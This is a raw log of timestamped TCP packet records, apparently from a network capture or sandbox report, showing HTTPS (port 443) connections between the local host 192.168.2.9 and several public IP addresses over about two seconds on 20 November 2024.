Nov 20, 2024 10:20:01.688463926 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.700098038 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.700125933 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.951452971 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.980853081 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.980884075 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.981261015 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.981266022 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.043736935 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.044126034 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.044171095 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.044229031 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.044466972 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.044476986 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.045351028 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.045428991 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.046034098 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.046047926 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.052887917 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.053514957 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.053543091 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.054343939 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.054353952 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.066534042 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.067168951 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.067188978 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.067965031 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.067970037 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.081262112 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.081350088 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.081403971 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.081798077 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.081820011 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.081832886 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.081839085 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.091046095 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.091083050 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.091172934 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.091358900 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.091372013 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.134483099 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.135334015 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.135359049 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.135839939 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.135848045 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.149786949 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.149849892 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.149928093 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.150141001 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.150180101 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.155136108 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.155170918 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.155247927 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.155483007 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.155498981 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.161039114 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.161159039 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.161380053 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.161416054 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.161439896 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.161454916 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.161459923 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.164297104 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.164329052 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.164392948 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.164583921 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.164597034 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.180342913 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.180422068 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.180507898 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.184053898 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.184073925 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.184086084 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.184092045 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.187092066 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.187199116 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.187292099 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.187455893 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.187496901 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.234810114 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.234874010 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.235105038 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.235204935 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.235223055 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.235245943 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.235251904 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.238507986 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.238554955 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.238740921 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.238945961 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.238959074 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.740185022 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.741735935 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.741763115 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.742507935 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.742513895 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.778446913 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.778779984 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.778794050 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.779877901 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.779938936 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.781317949 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.781382084 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.781691074 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.781697035 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:02.825160027 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.825912952 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.825937986 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.826528072 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.826533079 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.831634998 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:02.831681967 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:02.831928968 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:02.832160950 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:02.832170010 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:02.833679914 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.834564924 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.834579945 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.835562944 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.835567951 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.837260962 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:02.849541903 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.849725008 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.849792004 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.849952936 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.849967957 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.849980116 CET	49757	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.849984884 CET	443	49757	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.853673935 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.853698015 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.853771925 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.853960037 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.853971004 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.863841057 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.864403009 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.864435911 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.864919901 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.864928961 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.915608883 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.916462898 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.916486025 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.916973114 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.916977882 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.931557894 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.931643009 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.931869030 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.932102919 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.932102919 CET	49759	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.932121992 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.932133913 CET	443	49759	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.935620070 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.935661077 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.935733080 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.935884953 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.935899973 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.977938890 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.978116035 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.978276968 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.978328943 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.978362083 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.978374004 CET	49758	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.978379011 CET	443	49758	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.981547117 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.981612921 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.981964111 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.982192039 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.982211113 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.982495070 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.982580900 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.982664108 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.982738018 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.982752085 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.982774019 CET	49760	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.982778072 CET	443	49760	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.985307932 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.985341072 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:02.985405922 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.985594988 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:02.985605001 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.024864912 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.024929047 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.025022984 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.025487900 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.025552988 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.025597095 CET	49761	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.025631905 CET	443	49761	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.028991938 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.029052019 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.029256105 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.029465914 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.029483080 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.039819956 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.039921045 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.039978027 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.039988041 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.040421009 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.040568113 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.068756104 CET	49756	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.068778992 CET	443	49756	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.125979900 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.126048088 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.126127005 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.126499891 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.126602888 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.126737118 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.126883984 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.126895905 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.126949072 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.127166033 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.127178907 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.127330065 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.127360106 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.127446890 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.127455950 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.467982054 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:03.468485117 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:03.468508959 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:03.469352007 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:03.469435930 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:03.470902920 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:03.470946074 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:03.522937059 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:03.522964001 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:03.526177883 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.532826900 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.532849073 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.533504009 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.533509970 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.569755077 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:03.572781086 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.578778982 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.587868929 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.587899923 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.588371992 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.588377953 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.589277029 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.589309931 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.589730978 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.589740038 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.624949932 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.625371933 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.625396013 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.626036882 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.626040936 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.633905888 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.633977890 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.634028912 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.634475946 CET	49763	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.634496927 CET	443	49763	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.639311075 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.639353991 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.639425039 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.639569998 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.639580965 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.645061016 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:03.645075083 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:03.645143032 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:03.646791935 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:03.646805048 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:03.647308111 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.649068117 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.649095058 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.649693966 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.649703026 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.684362888 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.684715986 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.684729099 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.685103893 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.685447931 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.685530901 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.685743093 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.686299086 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.686362982 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.686454058 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.686641932 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.686664104 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.686678886 CET	49767	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.686686039 CET	443	49767	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.689811945 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.689884901 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.690011024 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.690124989 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.690161943 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.690170050 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.690186024 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.690197945 CET	49764	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.690202951 CET	443	49764	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.690223932 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.690495014 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.690505981 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.692409992 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.692440033 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.692614079 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.692786932 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.692797899 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.695293903 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.696995974 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.697020054 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.697405100 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.697825909 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.697892904 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.698055029 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.718565941 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.718838930 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.718852997 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.719854116 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.719908953 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.720349073 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.720402002 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.720560074 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.724791050 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.724865913 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.724925995 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.727322102 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.729298115 CET	49766	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.729319096 CET	443	49766	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.736643076 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.736687899 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.736985922 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.737246990 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.737262964 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.739326000 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.751903057 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.751961946 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.752206087 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.752243996 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.752264023 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.752278090 CET	49765	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.752285004 CET	443	49765	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.755290985 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.755332947 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.755405903 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.755548954 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:03.755559921 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:03.763338089 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.774390936 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.774401903 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.819585085 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.912578106 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.913233042 CET	443	49769	173.248.187.77	192.168.2.9
